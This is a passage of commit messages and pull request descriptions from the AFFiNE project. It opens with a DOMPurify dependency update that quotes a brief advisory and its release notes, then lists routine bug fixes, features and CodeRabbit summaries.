simultaneously get unexpected behavior — forbidden tags are allowed
through. Config-dependent but a genuine logic inconsistency.
## Suggested Fix
Check `FORBID_TAGS` before `tagCheck`:
```
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
```
## Affected Version
v3.3.3 (commit 883ac15)
##### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
---
### Release Notes
<details>
<summary>cure53/DOMPurify (dompurify)</summary>
###
[`v3.4.0`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.0):
DOMPurify 3.4.0
[Compare
Source](https://redirect.github.com/cure53/DOMPurify/compare/3.3.3...3.4.0)
**Most relevant changes:**
- Fixed a problem with `FORBID_TAGS` not winning over `ADD_TAGS`, thanks
[@​kodareef5](https://redirect.github.com/kodareef5)
- Fixed several minor problems and typos regarding MathML attributes,
thanks [@​DavidOliver](https://redirect.github.com/DavidOliver)
- Fixed `ADD_ATTR`/`ADD_TAGS` function leaking into subsequent
array-based calls, thanks
[@​1Jesper1](https://redirect.github.com/1Jesper1)
- Fixed a missing `SAFE_FOR_TEMPLATES` scrub in `RETURN_DOM` path,
thanks [@​bencalif](https://redirect.github.com/bencalif)
- Fixed a prototype pollution via `CUSTOM_ELEMENT_HANDLING`, thanks
[@​trace37labs](https://redirect.github.com/trace37labs)
- Fixed an issue with `ADD_TAGS` function form bypassing `FORBID_TAGS`,
thanks [@​eddieran](https://redirect.github.com/eddieran)
- Fixed an issue with `ADD_ATTR` predicates skipping URI validation,
thanks [@​christos-eth](https://redirect.github.com/christos-eth)
- Fixed an issue with `USE_PROFILES` prototype pollution, thanks
[@​christos-eth](https://redirect.github.com/christos-eth)
- Fixed an issue leading to possible mXSS via Re-Contextualization,
thanks
[@​researchatfluidattacks](https://redirect.github.com/researchatfluidattacks)
and others
- Fixed a problem with the type dentition patcher after Node version
bump
- Fixed freezing BS runs by reducing the tested browsers array
- Bumped several dependencies where possible
- Added needed files for OpenSSF scorecard checks
**Published Advisories are here:**
<https://github.com/cure53/DOMPurify/security/advisories?state=published>
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- ""
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMjAuMiIsInVwZGF0ZWRJblZlciI6IjQzLjEyMC4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Fixes#14673
## Summary
When an edgeless text block is locked, `pointer-events: none` on the
inner content div (`edgeless-text-block.ts:308`) blocks all mouse
interaction — including clicking hyperlinks. Locking is intended to
prevent accidental edits, not to block navigation, so links should
remain clickable.
## Fix
Apply a `locked-content` class on the inner div when the block is locked
and not being edited, and add a targeted CSS rule restoring
`pointer-events: auto` on anchor elements within locked content.
## Context
Re-implements the fix from PR #14692 (authored by @moktamd, reverted per
@darkskygit's comment on #14673 because the original contributor had not
signed the CLA). The CLA is signed for this PR.
## Test plan
- [ ] On edgeless canvas, create a text block with a hyperlink (e.g.
`[link](https://affine.pro)`)
- [ ] Lock the block via the shape toolbar
- [ ] Hover the link → cursor shows pointer
- [ ] Click the link → navigation occurs
- [ ] Unlock and confirm editing still works as before
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Links within locked text blocks are now interactive and clickable with
proper visual cursor feedback.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14735
This PR fixes a remaining desktop case related to #14467.
The previous fix resolved incorrect translation in navigation panels,
but the detail page header tab title was still passing custom document
titles through `i18n.t()`, causing user-defined titles to be
unexpectedly translated.
### Results
https://github.com/user-attachments/assets/4abad3b9-d5d7-442f-b643-6d9ea63fa741
After:
<img width="2100" height="1722" alt="After"
src="https://github.com/user-attachments/assets/0770eae2-e5c5-4816-8d53-e40a4b52800c"
/>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Updated page title retrieval mechanism in workspace detail page
headers. The title is now sourced directly from the document display
metadata service instead of using the previous derivation method.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated developer tooling dependencies used for local testing to newer
patch versions for improved stability.
* Bumped backend framework and related packages to newer patch releases
to address fixes and maintain compatibility.
* No functional or public API changes; updates are non-breaking
dependency version bumps.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Porting over iOS fix for self-hosted SSO to Android from #11563.
Fixes#12819
Tested on own instance using Authentik.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Android authentication now supports an optional server parameter in
the callback URL, enabling sign-in against different server instances.
* If the specified server cannot be found, the authentication attempt is
halted and an error is reported.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
## Summary
Update the edgeless shape text editor to resize mind map node text
bounds while IME composition is in progress.
## Changes
- listen to `compositionupdate` on the inline editor container
- trigger `_updateElementWH()` on `compositionupdate` and
`compositionend`
- keep text box dimensions in sync before composition is committed
## Testing
- Not run locally: `pnpm` is not available in this environment, so
package build/tests could not be executed here.
Fixes#11515
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Editor mounting tolerates missing/null elements and validates input to
avoid errors.
* Text creation/update consistently targets the refreshed element to
prevent mismatches.
* Inline editor listens for IME composition events and schedules
layout/size recalculation (with proper cleanup) so sizing stays in sync.
* **Tests**
* Added an integration test verifying layout/size updates during IME
composition events.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
Bug Resolved
#14795
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Made row and column sorting deterministic when items share the same
order value, reducing unexpected cell shifts.
* Adjusted comparator behavior to preserve tied-order grouping, which
may change displayed column/row sequence in edge cases.
* Improved consistency of table rendering and cell placement across
refreshes and edits.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#13555https://github.com/user-attachments/assets/12e55c21-080c-4c69-9780-893ccad25b45
## Summary
- make the code block More popup reactive to `wrap` and `lineNumber`
prop updates
- read the latest toggle state at click time so same-menu double toggles
do not reuse stale closures
- add e2e coverage for wrap and line number toggling twice without
closing the More menu
## Bug Reason
- the code block More popup was rendered as a static portal, so it
stayed open without re-rendering after the first toggle
- the `Cancel line number` and `Wrap` menu actions captured render-time
state in their click handlers
- after the first click updated the model, a second click in the same
open menu reused stale state and wrote the same value again, so nothing
changed visually
## Testing
- yarn workspace @affine-test/blocksuite test e2e/code/crud.spec.ts
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Menu toggles now read and update the current wrap and line-number
states reliably.
* **Refactor**
* Replaced inline popup rendering with a dedicated more-menu component
for the code toolbar.
* **Style**
* Prevented text selection on menu action elements for smoother
interaction.
* **Tests**
* Added e2e tests for wrap and line-number toggle flows.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#14531, where mannual vertical order is broken [Root
Cause](https://github.com/toeverything/AFFiNE/issues/14531#issuecomment-4052422436)
- Restored manual row/card sorting when building grouped kanban data.
- Reapplied `sortRow(...)` to each group before rendering `group.rows`.
- Fixed group/board arrange to reorder from the full group list,
including hidden or empty groups.
- Preserved consistent ordering between the settings panel and persisted
`groupProperties`.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Consolidated internal grouping and sorting logic to ensure consistent
ordering across grouped views; visible behavior unchanged.
* Moving groups or cards now uses a single, consistent ordering approach
to avoid intermittent ordering differences.
* **Tests**
* Added tests to verify manual per-group card order is applied and
preserved when moving cards between groups.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <darksky2048@gmail.com>
### PR Description
* clicking a linked calendar account now switches settings to Workspace
Integrations and opens the Calendar settings directly
* calendar OAuth returns now land on Workspace Integrations with the
Calendar settings opened instead of the homepage
* Improves UX by reducing friction when managing calendar integrations
https://www.loom.com/share/49fa5c448ce049659877beb42d7bd81a
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Calendar integration settings can now be opened automatically
(including from OAuth redirects) and workspace settings support a
scroll-to-anchor.
* Integration account rows are now clickable for quick access to
settings.
* **Improvements**
* Enhanced visual feedback with interactive hover and focus states for
integration controls.
* **Tests**
* Added tests covering the OAuth redirect behavior and workspace
settings scroll/open handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <darksky2048@gmail.com>
#### PR Dependency Tree
* **PR #14792** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Admin dashboard returns more accurate sync and storage timelines with
carry‑forwarded minute buckets and corrected current totals.
* **Bug Fixes**
* Active-user flushes are debounced/scheduled to prevent overlapping
writes and reduce stale counts.
* Snapshot writes now retry and will skip gracefully when lock
contention prevents completion, avoiding partial snapshots.
* **Tests**
* New e2e tests cover carry‑forward behavior, no backfill outside
requested windows, and storage history accuracy.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Summary
This fixes a few inconsistencies in shared page behavior:
fixes https://github.com/toeverything/AFFiNE/issues/14751
- shared pages now open in the correct published mode when the URL does
not already include ?mode=...
- switching between page and edgeless in shared mode now keeps the URL
query param in sync
- the default Copy Link action now follows the current editor mode
- shared viewers can toggle between page and edgeless mode in readonly
share pages
---
### What Changed
- updated shared page mode resolution to prefer URL mode, with backend
publish mode as fallback
- added query-param syncing for shared page mode changes
- made the default share link copy use:
- page link in page mode
- edgeless link in edgeless mode
- allowed EditorModeSwitch to toggle both ways in shared mode
- extracted shared-mode behavior into small hooks to keep share-page.tsx
cleaner
---
### Demo
https://www.loom.com/share/a287172321fb4fc5b94f7c67a39298a9
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Mode switching between page and edgeless no longer blocked by shared
gating; shared pages initialize and respect the resolved editor mode.
* Shared page URLs stay in sync with editor mode and copy-link actions
include/preserve the selected mode.
* **Tests**
* Added tests for publish-mode resolution, query-string mode handling,
and default share-mode behavior.
* **Bug Fixes**
* Updated shared-page “not found” UI text to match new messaging.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Fixes#13399
### Issue
When viewing an audio attachment card in horizontal view, the waveform
was being clipped and not fully visible. In vertical view it displayed
correctly.
### Fix
- `audio-waveform` and `progressContainer` flex children were missing
`minWidth: 0` and `flex: 1`, causing container overflow
- `.affine-attachment-container` had a fixed height with `overflow:
hidden`
that cut off the waveform row
### Screenshot Verification
**Before**
<img width="1661" height="935" alt="image"
src="https://github.com/user-attachments/assets/b2f0908b-94fe-4869-bdfb-cc6a757e703d"
/>
**After**
<img width="750" height="182" alt="image"
src="https://github.com/user-attachments/assets/63caac69-f37b-4894-80de-806b691581c8"
/>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
**New Features**
- Introduced audio embed card functionality allowing users to embed and
display audio content directly in documents with standardized dimensions
and improved responsive layout styling for better visual presentation
and integration.
**Improvements**
- Enhanced styling and layout handling for audio player components to
ensure proper display and optimal rendering in various container sizes
and space constraints.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR fixes#14755 bug
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed keyboard shortcut handling to properly distinguish between
locale input characters and actual shortcuts when using Alt+Meta key
combinations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
Adds an Editor setting to automatically title blank new documents with
the current date.
fixes https://github.com/toeverything/AFFiNE/issues/14709https://www.loom.com/share/953b4eafcfb247839e977dca6f457229
## What Changed
- Added `Auto-title new docs with current date` under Editor settings
- Added `New doc date format`, shown only when auto-title is enabled
- Supported formats:
- `DD-MM-YYYY`
- `MM-DD-YYYY`
- `YYYY-MM-DD`
- `Journal style (localized)`
- Kept titles unique by appending duplicate-style suffixes:
- `2026-03-24`
- `2026-03-24(2)`
- `2026-03-24(3)`
## Behavior
- Only applies to blank new docs
- Does not override explicitly provided titles
- Uses the existing journal-style localized formatter for the localized
option
## Implementation Notes
- Extended editor setting schema with:
- `autoTitleNewDocWithCurrentDate`
- `newDocDateTitleFormat`
- Added a helper for generating unique date-based titles
- Wired title generation into doc creation middleware
- Synced created titles into doc metadata so uniqueness works
consistently
## Tests
- Added unit coverage for:
- date title formatting
- duplicate suffix generation
- doc creation middleware behavior
- settings UI behavior
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* General settings: toggle to auto-insert current date into new document
titles; selectable formats: DD-MM-YYYY, MM-DD-YYYY, YYYY-MM-DD, and
localized "journal". Date-format chooser appears only when enabled.
* **Behavior**
* Blank new-docs are auto-populated per chosen format; user-provided
titles are preserved. Auto-generated titles avoid collisions by
appending incrementing suffixes.
* **Localization**
* Added translations for the setting, description, format chooser, and
all format labels.
* **Tests**
* Added UI and unit tests covering formatting, uniqueness, middleware
behavior, and interaction.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14788** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Calendar subscriptions now gracefully fall back to polling when push
notifications aren’t supported, keeping syncs working.
* Affected subscriptions have webhook details cleared and are marked
with a long-lived expiration to avoid repeated webhook attempts.
* Prevents repeated retries for unsupported push channels, reducing
unnecessary errors and retries.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14785** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated error-tracking SDK versions across frontend packages.
* Upgraded Electron build toolchain and front-end build plugins for
improved compatibility.
* Replaced a SWC-based React plugin with the standard React Vite plugin.
* Removed unused development dependencies from CLI tooling.
* Bumped a Rust workspace dependency to a patch release.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14780
#### PR Dependency Tree
* **PR #14784** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **Bug Fixes**
* Improved upgrade availability detection to properly compare semantic
versions, including support for prerelease and canary versions. The
system now accurately identifies when new versions are available,
ensuring users receive timely update notifications.
* **Tests**
* Added comprehensive unit tests for version comparison and upgrade
detection functionality.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14783** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Configurable request timeout for calendar integrations.
* Calendar polling now enqueues per-subscription sync jobs (larger
batch) for improved throughput.
* **Bug Fixes / Improvements**
* Persisted next-sync timestamps and retry counts for more reliable
scheduling and retry behavior.
* Exponential backoff and webhook renewal now update scheduling
consistently.
* **Refactor**
* Calendar sync flow moved to a job-queue-driven design for better
concurrency and observability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Before
https://www.loom.com/share/a626b23f29cb4a48b33d721341d734f8
### After
https://www.loom.com/share/0c88ef4f92ac470fbb76608e2de43fa7
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed floating toolbar remaining visible after deleting multiple
documents via the confirmation dialog so it reliably closes when
deletion completes.
* **Tests**
* Added end-to-end checks to verify the floating toolbar is dismissed
after multi-item and “select all” deletions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
#### PR Dependency Tree
* **PR #14779** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Added conditional init checks to service deployments and jobs to wait
for the database proxy before starting
* Exposed a new health port (9801) for the database proxy to enable
readiness probing
* **Tests**
* Minor test reordering and formatting changes (no behavioral changes)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## The Fix
Fixes#14744.
Updated the menu input Enter key behavior so that pressing Enter now
saves the edited database column header name and closes the menu
immediately.
This reuses the existing `blur()` save flow, keeping the behavior
consistent with clicking outside the input.
The Tab key behavior remains unchanged and still saves through the
existing blur flow.
## Video Demonstration
### After
https://github.com/user-attachments/assets/820a7c41-cae5-477c-8b65-b0667e0ce82b
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved keyboard handling in context menu input to properly blur the
input field when pressing Enter, ensuring cleaner interaction behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Migration and config commands now feature interactive prompts for
required inputs.
* **Bug Fixes**
* Enhanced error handling in CLI operations.
* **Chores**
* Updated GraphQL Code Generator toolchain to v6.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
improve RU translate
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Improvements**
* Enhanced Russian language support across the application.
* Updated messaging for self-hosted installations and workspace
licensing.
* Added Russian text for document analytics UI, including metrics and
viewer information.
* Added Russian text for workspace sharing controls and calendar
integration features.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
replace #14758
#### PR Dependency Tree
* **PR #14760** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Enhanced language switching to ensure the settings dialog properly
reflects language changes when users update their language preference.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14770** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **New Features**
* Implemented batch processing for calendar synchronization to improve
performance and resource utilization.
* Added distributed locking to prevent concurrent operations in
multi-instance environments.
* **Bug Fixes**
* Improved reliability by preventing duplicate synchronization attempts.
* **Tests**
* Enhanced test coverage for batch processing and locking mechanisms.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## The Fix ##
Fixes#13396. The issue happened because 'doc.getPrev(model)' returns
previous node based in document order instead of previous sibling within
list level. This caused nested list items to inherit the numbering from
their parent rather than restarting. The fix ensures that numbering is
calculated relative to correct list context.
## Video Demonstration ##
### Before ###
https://github.com/user-attachments/assets/9523209a-93d9-4984-aa9e-149ac1941036
### After ###
https://github.com/user-attachments/assets/ff28b166-3572-4536-9893-0ab5c05c8d9f
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Enhanced numbered list ordering logic for improved list handling.
* **Chores**
* Updated environment configuration template with active sample values
for database connectivity, caching services, AI integrations, and email
delivery settings.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14749** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved link preview reliability by updating request identification
to better match modern browsers.
* **Tests**
* Made end-to-end and integration tests deterministic and more robust,
improving AI chat, image generation, attachment handling, settings
visibility, and editor flows.
* **Chores**
* Updated underlying tooling versions to enhance stability and
compatibility.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14748** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Enhanced auto-scroll behavior for AI chat messages—the chat now
intelligently pauses auto-scrolling when you manually scroll away and
resumes when you scroll back near the bottom.
* Auto-scroll now pauses when expanding or collapsing AI tool results
and document edits.
* **Tests**
* Added unit tests for AI chat message scroll behavior and interactions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14736** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Enhanced Kubernetes deployment health check configurations with
explicit timeout, period, failure threshold, and success threshold
settings for improved reliability.
* Improved document synchronization infrastructure with enhanced codec
comparison and merge update capabilities for better data consistency
handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fixes#14679
This fixes a layout issue where Kanban boards stopped horizontally
scrolling in fullscreen/full-width page mode.
https://github.com/user-attachments/assets/375fb8f7-3652-4207-8f9c-ee4cdae881ad
The root cause was not in the Kanban view itself, but in the page-mode
viewport wrapper. In fullscreen mode, the editor expands to full width,
and the existing display: table wrapper caused the outer editor
container to size from Kanban content instead of the viewport. That
prevented the Kanban scroller from owning horizontal overflow correctly.
### What changed
Keep the fullscreen editor wrapper constrained to the viewport width
Override the page-mode viewport content wrapper from display: table to
display: block only when a fullscreen editor is present
Leave the default/non-fullscreen layout behavior unchanged
### Why this works
With the outer fullscreen wrapper locked to viewport width, horizontal
overflow stays inside the Kanban view, so its existing overflow-x:
scroll behavior works again.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved full-screen editor layout rendering to ensure proper width
and display constraints are applied correctly in full-screen mode.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fixes#14696
iCloud was returning 400 Bad Request for /.well-known/caldav, which
caused AFFiNE to fail before reaching the actual CalDAV endpoints. This
change makes discovery fall back to the base CalDAV URL for that case,
which lets the iCloud account link flow continue successfully.
This also adds a GraphQL field resolver for
CalendarAccountObjectType.calendarsCount. The field is requested by the
frontend, but some mutation return paths were returning a raw account
object without that computed value, which caused GraphQL to fail on a
non-null field.
---
### Why this was needed
iCloud rejected the standard well-known discovery probe with 400, even
though the rest of the CalDAV flow worked.
calendarsCount is a computed field used by the frontend, so it should be
resolved by GraphQL rather than manually attached in individual service
methods.
---
### How to test
Generate an Apple app-specific password: [Apple
Support](https://support.apple.com/en-gb/102654)
In AFFiNE, add an iCloud CalDAV account using:
your Apple Account email
the new app-specific password
Confirm the account links successfully and calendars load without the
previous GraphQL error.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Calendar accounts now display the total number of calendars.
* **Bug Fixes**
* Enhanced calendar discovery process to handle additional HTTP error
conditions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14732** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Cloudflare Workers AI added as a Copilot provider (configurable in
admin settings).
* Gemini 3.1 Flash Lite Preview model made available.
* **Behavior Changes**
* Reranking now uses a different default model identifier (affects
relevancy scores).
* **Tests**
* Rerank tests adjusted to focus on the updated model and expected
results.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14729** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Transcriptions now produce structured meeting summaries (strict JSON)
and a normalized, speaker‑tagged, non‑overlapping transcript with legacy
projection support.
* **API**
* Submission accepts richer transcription input; results return
source‑audio metadata, slice manifest, quality indicators, normalized
segments/transcript, and structured summary JSON.
* **Frontend**
* Recording flow stores transcription metadata and uploads preprocessed
audio slices with slice/quality info; UI-side result normalization
applied.
* **Tests**
* Expanded unit, contract, and e2e coverage for normalization, payload
parsing, persistence/retry, and end‑to‑end transcription flows.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Summary
Resolves#14528. Normalizes font family string before comparison.
Removes browser dependency.
### What Changed
On Edgeless mode, font dropdown was not appearing for shapes on Chrome.
Now, it appears on Chrome, Safari, and Firefox.
### Screenshot Verification
**Google Chrome**
<img width="623" height="322" alt="Screenshot 2026-03-25 at 1 24 51 PM"
src="https://github.com/user-attachments/assets/fb05790d-6842-43ce-a014-2b24d15bc80d"
/>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved font matching to be more tolerant of whitespace, quotes, and
casing so font family comparisons are consistent across browsers,
reducing incorrect font fallbacks and visual mismatches.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14712** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Enhanced Electron test environment cleanup with improved termination
signal handling and child process resource management.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Improved Electron shutdown, diagnostics and tab teardown for more
reliable exits and forced cleanup on stubborn processes.
* **Tests**
* Added polling-based test helpers, stronger scroll/page readiness,
timeout-tolerant page selection, and async cleanup/worker teardown;
updated many tests to wait for UI/model updates and rendering frames.
* **Bug Fixes**
* Reduced flakiness by awaiting paragraph visibility, nested counts,
selection/navigation stability, tab counts, post-action renders, and
safer element interactions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13862
#### PR Dependency Tree
* **PR #14698** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Enhanced search support for Chinese, Japanese, and Korean languages
with improved text segmentation and character matching.
* Added index management capabilities with table recreation
functionality.
* **Bug Fixes**
* Improved search accuracy for non-Latin scripts through updated
morphology and n-gram configuration.
* **Chores**
* Added database migration for search index optimization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13784
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Start/stop system or meeting recordings with Ogg/Opus artifacts and
native start/stop APIs; workspace backup recovery.
* **Refactor**
* Simplified recording lifecycle and UI flows; native runtime now
orchestrates recording/processing and reporting.
* **Bug Fixes**
* Stronger path validation, safer import/export dialogs, consistent
error handling/logging, and retry-safe recording processing.
* **Chores**
* Added cross-platform native audio capture and Ogg/Opus encoding
support.
* **Tests**
* New unit, integration, and e2e tests for recording, path guards,
dialogs, and workspace recovery.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14690** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated package manager and development tooling to latest compatible
versions.
* Updated backend framework and monitoring dependencies to latest
minor/patch releases.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Native/WASM Mermaid and Typst SVG preview rendering on desktop and
mobile, plus cross-platform Preview plugin integrations.
* **Improvements**
* Centralized, sanitized rendering bridge with automatic Typst
font-directory handling and configurable native renderer selection.
* More consistent and robust error serialization and worker-backed
preview flows for improved stability and performance.
* **Tests**
* Extensive unit and integration tests for preview rendering, font
discovery, sanitization, and error serialization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13938fix#14683fix#14532
#### PR Dependency Tree
* **PR #14686** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Flexible OIDC claim mapping for email/name, automatic OIDC discovery
retry with exponential backoff, and explicit OAuth flow modes (popup vs
redirect) propagated through the auth flow.
* **Bug Fixes**
* Stricter OIDC email validation, clearer error messages listing
attempted claim candidates, and improved callback redirect handling for
various flow scenarios.
* **Tests**
